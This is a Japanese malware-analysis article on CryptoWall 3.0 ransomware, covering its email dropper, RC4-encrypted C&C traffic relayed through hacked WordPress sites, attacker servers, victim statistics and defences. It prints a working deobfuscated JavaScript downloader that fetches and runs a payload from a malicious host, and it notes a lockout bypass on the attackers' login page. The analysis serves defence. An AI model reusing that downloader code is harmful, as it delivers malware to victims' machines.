CryptoWall 3.0のトラフィック分析 ― ランサムウェアの内部に迫る

digital-security-padlock-protection-binary-virus-hack-malware-370x229

背景

CryptoWallは最も有名なランサムウェアの1つです。FBIによると、これまでに報告されているCryptoWallの被害件数は992件で、被害総額は1,800万ドル(日本円にして約22億円)にも上ります。また、シマンテックは、2013年に発生したランサムウェア攻撃は410万件で、その数は2014年には880万件に倍増したと発表しています。CryptoWallはNuclearやNeutrino、Anglerといった巧妙なエクスプロイトキットを使用するランサムウェアで、あらゆる手を使ってターゲットを感染させます。この有害なマルウェアの最終目標は、対象となるコンピュータやネットワークドライブ上に存在する特定の拡張子を持つファイルを全て検出して、暗号化することです。そして復号するための身代金として、通常500ドル(約6万円。この額は、ある期間が過ぎると倍になります)を要求するのです。

ransom
CryptoWallの支払いページ

感染経路

このランサムウェアは、様々な方法でターゲットを感染させます。中でもよく目にするのが、ドロッパーを含む悪質な添付ファイルを被害者にメールで送信し、感染させる手法です。私たちが調査したドロッパーの1つは、ZIP形式のファイルとしてeメールに添付されていました。その中には、ペイロードをダウンロードするために使われる難読化されたJavaScriptのファイルが含まれています。その他のケースでは、悪質なVBAマクロを含むワード文書も頻繁に確認されています。

zip_info-2
メールで受信したZIPファイル。中にはJavaScriptファイルが含まれている。

上記のファイルを解読したものが、以下のコードです。

function dl(fr, fn, rn)
{
var ws = new ActiveXObject("WScript.Shell");
var fn = ws.ExpandEnvironmentStrings("%TEMP%") + String.fromCharCode(92) + fn;
var xo = new ActiveXObject("MSXML2.XMLHTTP");
xo.onreadystatechange = function (){    if (xo.readyState === 4){      var xa = new ActiveXObject("ADODB.Stream");
xa.open();
xa.type = 1;
xa.write(xo.ResponseBody);
xa.position = 0;
xa.saveToFile(fn, 2);
xa.close();
};
}  ;
try {
xo.open("GET", fr, false);
xo.send();
if (rn > 0)
{
ws.Run(fn, 0, 0);
};
} catch (er){  }  ;
}dl("http://22072014b.com/images/global1.jpg", "16477935.exe", 1);dl("http://22072014b.com/images/global1.jpg", "89555869.exe", 1);

このスクリプトは、(ハードコーディングされたURLから)CryptoWall 3.0のペイロードをダウンロードし、それをリネームして、一時ディレクトリから実行するのに使われます。興味深いことに、ペイロード自体の偽装方法はシンプルで、単にJPG形式のファイルを装っているだけです。

dropper

どうやら、このドメイン(22072014b.com)の所有者は悪意を持った人で、Fast-Flux というDNSの技術を使用しているようです。なお、現在このドメインは、ICANNによって停止されています。

実行

多くの記事に記載されているように1、CryptoWallは以下の流れで実行されます。

  • システムのハードウェアやソフトウェア(コンピュータ名、ボリュームシリアル番号、OSバージョン)に基づいて、MD5のハッシュを計算し、コンピュータ固有の識別子を生成する。
  • Cドライブ内の新しいフォルダとAppDataフォルダ内に拡散して、スタートアップ・プログラムにエントリを追加する。
  • 以下の機能を無効化する。
    • シャドウコピー
    • スタートアップ修復
    • Windowsエラー回復処理
  • 以下の機能を停止する。
    • Windowsセキュリティセンターサービス
    • Windows Defender
    • Windows Updateサービス
    • Windowsエラー報告サービスとBITS
  • 自身をexplorer.exeとsvchost.exeに注入する。
  • ip-addr.esに対してGETリクエストを行い、外部IPアドレスを取得する。
  • HTTPリクエストを行い、公開暗号鍵を取得する。
  • 選択されたファイルと拡張子、ディレクトリの暗号化(AES-256)を開始する。
  • 暗号化されたファイルを有する全フォルダに、警告文を表示するHELP_DECRYPTファイルをコピーする。

上記の処理は非常に複雑で、これだけで1つの記事が書けるほどです。なので、ここではネットワーク通信に焦点を絞りましょう。

C&C(コマンド&コントロールサーバ)を使った通信をエミュレートする

コマンド&コントロールを使った通信について理解を深めるため、感染したコンピュータのリクエストをシミュレートするプログラムを作成してみました。

マルウェアはまず、ペイロードにプリコーディングされたURLを用いて通信を始めます。このURLは全て、感染したWordPressのWebサイトです。一般的にWordPressは、感染すると数週間以内にクリーンアップまたは停止されるので、それまでにCryptoWallはプリコーディングされた大量のURLを用いて通信を試みます。なお、このURLは、CryptoWall 3.0の新たな亜種が出るたびに変わっていることが確認されています。

URLは以下のようなものです。

http://domain.com/wp-content/plugins/infected_path/3.php

C&Cによる通信は全てRC4で暗号化されています。RC4のキーはURLパラメータに含めて渡され、暗号文はPOSTメソッドの中に含まれています。

マルウェアはまずC&CにHelloメッセージを送信してから、実際の暗号鍵を取得します。

first-message

このPythonのコードを使うと、簡単にメッセージを復号できます。

リクエスト:{1|crypt13|4FB5B06D293F2DD13810B2979DBA08E0|5|2|1||128.204.196.126}
レスポンス:{264|1}

このメッセージはコマンド&コントロール用にフォーマットされていて、これによりメッセージIDやCryptoWallのバージョン、前に生成されたユニークなMD5のハッシュ、その他のフラグ、コンピュータの公開IPアドレスが明らかになります。

その後、感染したコンピュータは別のメッセージに応答します。

cryptowall-response

リクエスト:{7|crypt13|4FB5B06D293F2DD13810B2979DBA08E0|1}
レスポンス:{176|ayh2m57ruxjtwyd5.onion|1egeY33|NL|—–BEGIN PUBLIC KEY—–
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAyY6b3Ea6NYvFAz3BMBRr
zS9TZrnAdg2FksXisD95iFBSbWjMXQlWf4YuU84cyDvmRBpicbaN6K3Rkk1EjW4G
lAA3jEZi2IvapsJpKoXhMIVxOhqbni+LQMsdsnEB+3FGWNHW7YvBwUSDvJbD+0qG
i1fNzbL/AZ8Wz5g7wbrUzGSsi+Yjj37nQuPRDz4AheKayMsz9ENvOLvqhA+Malpv
eOLwDMncsRr4byu9QuWRCvyoas5z86IBq/l4LKGeJO1my6ICvRQZ4QExwDTQBWKy
0G7B8niBVYHDOHIe3Owp2C6y7WzolP97WCwsuYB2kmGHnhtas4uTRQ/6IYZcK47E
gQIDAQAB
—–END PUBLIC KEY—–}

最後にC&Cは身代金や個人ID、RSAの公開鍵を得るために、TOR(匿名通信システム)のリンクを使って応答します。そして感染したコンピュータは、そのキーを用いてファイルの暗号化を始めます。

私たちはこの仕組みを元に、自作のプログラムにおいて、異なる値がC&Cに送信されるよう設定することができました。新たな被害者を装うには、ランサムウェアのサーバがまだ受信していないMD5を生成すれば十分です。そこで、大量のリクエストを送り、サーバを飽和させる案を思い付きました。このプログラムをループさせ、異なる固有IDと公開鍵を大量に生成したのです。固有IDの長さは通常7桁なので(大文字と小文字を区別し、数字も使えます)、理論上は58^7通りのIDが存在します。1分間に生成できるリクエストはわずか1,000件までなので、取り得る全てのIDを使い果たすには、相当な時間がかかることになります。

感染したWordPressの考察

更に調査を進めるために、Hybrid Analysisから最近出たCryptoWall 3.0のサンプルを調べて、感染した異なるWordPressの共通点を探ることにしました。感染したページをいくつか見たところ、いずれの場合も感染したパスはWordPressのプラグインの一部のように見えること以外、共通する脆弱性は確認できませんでした。

一方で、調査したWordPressの中には、PHP backdoorがインストールされたものが2件ありました。PHP backdoorとは、攻撃者にWebコントロールパネルを与えるPHPファイルです。

php_backdoor_censored2

攻撃者はこの悪意のあるコードを使って、サーバにある複数のファイルにアクセスしたり、制御したりすることが可能です。更には、感染したコンピュータに応答する機能を持つコードを、ユーザにダウンロードさせることもできます。通信や感染のプロセスについて詳しく知りたい方は、このファイルをダウンロードしてみてください。こちらのPHPのコードからは、ランサムウェアが以下の動作をすることが分かります。

  • パラメータに含まれるRC4のキーを使って、暗号化されたメッセージ復号する。
  • メッセージが適切なフォーマットになっていて、括弧が除去されていることを検証する。
  • ハードコーディングされたIPアドレスの攻撃母体に、メッセージの内容を転送する。

私たちはこのことを試すため、PHPサーバをローカルコンピュータ上にインストールし、CryptoWallのPHPファイルに偽のコールをしてみて、攻撃母体とサーバ間のトラフィックを確認しました。

wordpress_to_mothership

リクエスト:{7|crypt19|7A1A7EA984BD56663C7A5558576C3559|1}

これで、感染したWordPressがフィルタおよび中継点としてだけ機能することが明らかになります。これは、ランサムウェアの基盤を隠蔽する上でも役立ちます。

感染したコンピュータにレスポンスを返すのと同時に不審なファイルが使われたので、リクエストを記録するコードをテキストファイル内に数行追加しました。また、リクエストをフォワードする部分をコメント化することで、コードを無効化しました。出力ファイルを見れば、各コンピュータがコールする際のリクエストが送られた時間やオリジナルのIPアドレス、CryptoWallのメッセージ(バージョン、MD5の個別の識別子など)の情報を得ることができます。

これらの入力はそれぞれ、この特定の感染したページに対して、感染したコンピュータが作成したクエリを表します。1つ目のWebサイトでは、プロバイダがアカウントをサスペンドするまでの29時間分(2015年9月30日から10月2日まで)のデータと、テキストファイル内の40,228エントリしか集められませんでした。2つ目のWebサイトでは、帯域幅限界を超えるまでの88時間分と、130,146エントリを集めることができました(2015年10月23日から10月27日まで)。

被害者の個別の識別子(MD5のハッシュ)を比較して、2つのファイルに重複するエントリを取り除いた結果、1つ目のファイルではわずか3,546エントリ、2つ目のファイルでは15,068のエントリが残りました。これほど多くの入力が重複していた理由は、感染したコンピュータはC&Cから指令を受け取れるようになる前に、2つ以上のリクエストをすることがあるからです。

次に、そのデータを視覚化するために、Elastic SearchとKibanaを利用しました。

users-request-first-file
1つ目のWordPressのサイトに29時間に渡って送られたリクエスト

user-request-second-file
2つ目のWordPressのサイトに88時間に渡って送られたリクエスト

その後、2つのWordPressのサイトのデータを統合して、被害の統計値を算出しました。これらのエントリの発信元IPアドレスから国との自律システムを割り出す際には、MaxMindのデータベースを使いました。

top-30-AS
被害者の発信元自律システムを上位から表示

top-20-country
被害者の国名を上位から表示

geoloc-global_ (1)
データセットから割り出した被害者の所在地を表した世界地図

CryptoWallの複数の亜種も確認されています。

top-versions
CryptoWallによって使用された様々なバージョン

両方のデータセットを統合して再編成し、MD5のハッシュを基に重複エントリを除外することで、18,614のユニークな感染ユーザを算出しました。1つ目のデータセットでは、29時間で3,546のユニークIDが集まりました。つまり、1時間当たり122.27の被害者がいるということです。2つ目のデータセットでは、88時間で15,068のユニークIDが集まりました。つまり、1時間当たり171.22の被害者がいるということです。2つの平均値を計算すると、1時間当たり最大で146のユニークユーザが感染したことになり、1日に換算すると3,504ユーザ、1カ月に換算すると105,120のユーザが感染したことになります。US-CERTによると、シマンテックが行った調査では、2.9%のユーザが身代金を払っているということです。平均的な身代金の額は500ドル(約6万円)で、この攻撃者は1日当たり52,560ドル(約646万円)儲けているわけです。判明している分だけでも、1月では157万6,800ドル(約1億9千万円)、1年では1,892万1,600ドル(約23億円)になります。しかし、100%正確な被害額を算出するのは困難です。

攻撃母体を見る

こうして、感染したWordPressのPHPファイルから攻撃母体のIPアドレスが判明したので、私たちは調査を開始しました。1つ目のIPアドレスは95.128.182.22で、2つ目は95.128.182.121です。どちらのIPアドレスも、ロシアのモスクワにあるTrustInfo という名前のプロバイダによって登録されていました。これらのIPアドレスには通常、少なくとも3つのオープンポートがあります。22と80と3389です。オープンポートを通してブラウジングするだけでは、メインページ上のブランクページ以外は見ることはできません。しかしサーバ上の、他のアクティブなページを探してみると、サーバステータスページが使用可能になっているものが見つかりました。

server-statuspage

ご覧のように、サーバは明らかにTORの隠れたWebサイト(xtpdvz6dnj5nnpe7.onion)をホスティングしています。この隠れたWebサイトもまた、CryptoWall 3.0の身代金で既に知られているTORアドレスです。これはリクエストをフォワードするためにNGINXプロキシを使っています。私たちが見ているPOSTリクエストは全て、攻撃母体へのリクエストをフォワードしている異なるWordPressのサイトで、それぞれのリクエストのパラメータは通信を復号化するためのRC4のキーです。

decrypt-service
身代金のページに直接アクセスする

自律システムのインフォメーションを見てみると、プロバイダであるTrustInfoには3つのサブネットがあります。このサブネットに対して詳細な調査をすることに決め、同じバージョンのサーバで、同じポートが開放されているサーバを探しました。例えば、設定基準に対してレスポンスを返すOpenSSHバージョン6.0で、ポート22を持つホストと、NGINX1.2.1で、ポート80を持つホストを探しました。中でも、95.128.180.0/22のサブネットは、この基準にレスポンスを返す多くのホストを持っていました。

それぞれのページについて、http://ip/server-status/が同じTORアドレスかどうか、更に、アップタイムが同じかということを確認しながら検証した結果、既に発見していた2つよりも多い、9以上のサーバを見つけ出しました。

schema
CryptoWall 3.0のアーキテクチャ

このように、攻撃母体のサーバは少なくとも2つの役割を果たしています。感染した被害者のリクエストをフォワードすることと、身代金を支払うTORのWebサイトをサポートすることです。NGINXが全てにインストールされていて、同じApacheサーバを参照しているので、単にゲートウェイとして機能しているように見えます。秘密鍵はしっかり隔離されてどこかに保管されていると確信させるものがあります。

サーバステータスページ上で作成された異なるリクエストを全て比べてみると、いくつかのGETリクエストが目を引きます。このリクエストが、同じサーバのログインページに誘導するのです。

login-mothership

一見、CryptoWallのオーナー用管理ページのようです。カスタムメイドのページのように見えますね。ここでは、ユーザ名とパスワードにより基本的な認証を行っています。パスワードは、サーバへのPOSTリクエストによって渡される前にクライアント側のMD5内でハッシュされます。3回失敗すると、システムはそれ以上の入力を受け付けなくなりますが、クッキーPHPSESSIDを削除することで失敗した回数をリセットできます。ただ、このページが何へのアクセスを提供しているのかが分かりません。

ステータスページのモニタリング後、私たちはある統計をとりました。

requests-type
サーバが受け付けたリクエストの種類

average-CPU-load
CPUのロードの時間変化

Total-access
サーバへのアクセスリクエストの総数の時間変化

status-at-peak
最も多い時で、プロキシ背後のサーバは30日間で約44GBのデータを処理しました。

ランサムウェアに対する防御

全てのタイプのウィルスからコンピュータを守るために、少なくとも、常にアンチウィルスソフトを更新するべきです。しかし今回の調査では、VirusTotalのどんなアンチウィルスソフトでも検出されない例がたくさんありました。こうしたケースでは、eメールの添付ファイルフィルタが非常に有効です。というのも、多くの感染がeメールを経由するためです。また、ネットサーフィンをする際にはプロキシによって広告を制限しましょう(セキュリティ上の他の弱点を突く、悪意のある広告を防ぐためです)。侵入防止システムの利用も有効です。感染したコンピュータがアクセスするかもしれないサーバをブロックすることはあまり効果的ではありません。そういうサーバはよく変わるし、ペイロードは通常、アクセスするWebサイトを複数知っているからです。

新たに感染したコンピュータがリクエストを出した際に警告するようにしたければ、いくつか有効な方法があるかもしれません。CryptoWallが外部のIPアドレスを収集する際に必ず使うhttp://ip-addr.esにアクセスがあったら、ファイアウォールが警告するようなルールを作ることができます。他のランサムウェアも同様に、様々なWebサイトでこの技術を使います。SANに、ユーザによるI/Oを監視させ、警告してもらう方法もあります。実際、ランサムウェアによって感染したコンピュータは、ネットワークドライバをどんどん暗号化しようとしますが、それは一定時間内のトランザクションの数を監視することで検出できます。

また、Windowsの一時ディレクトリにおけるプログラムの実行をブロックすることも可能です。一時ディレクトリでプログラムを開始しなければならない理由などありませんし、一時ディレクトリはよくマルウェアに利用されます。この処理を行うGPOの作成方法は、この手順を参照してください。

とにかく必ず対策を行い、システムのバックアップを取りましょう。

結論

全ての攻撃母体のサーバは同じコンフィギュレーションを持っているように見えることから考えて、恐らく攻撃者がテンプレートから自動的にデプロイしたものでしょう。更に、ほぼ毎週のように新たなWordPressがCryptoWall 3.0に感染しているという事実は、攻撃者の組織力を示しています。なぜならこの事実はまた、マルウェアが狙ったURLにアクセスできるように、攻撃者たちが毎回ランサムウェアを更新しなければならないということを意味しているからです。

この全体的なプロセスは巧妙に構築されています。検出を回避するように進化していますし、ハッカーが金儲けをする際の新たなトレンドになってきたようです。ランサムウェアのその他の側面についても調査すれば興味深い事実が分かったと思われますが、時間が足りないのでこれ以上の調査はしていません。

質問、提案、意見がありましたら、malware @ brillantit.comまでお気軽にお寄せください

参照サイト:
Cisco TALOS
Vallejo
Sentinel One
TrendMicro
SecureWorks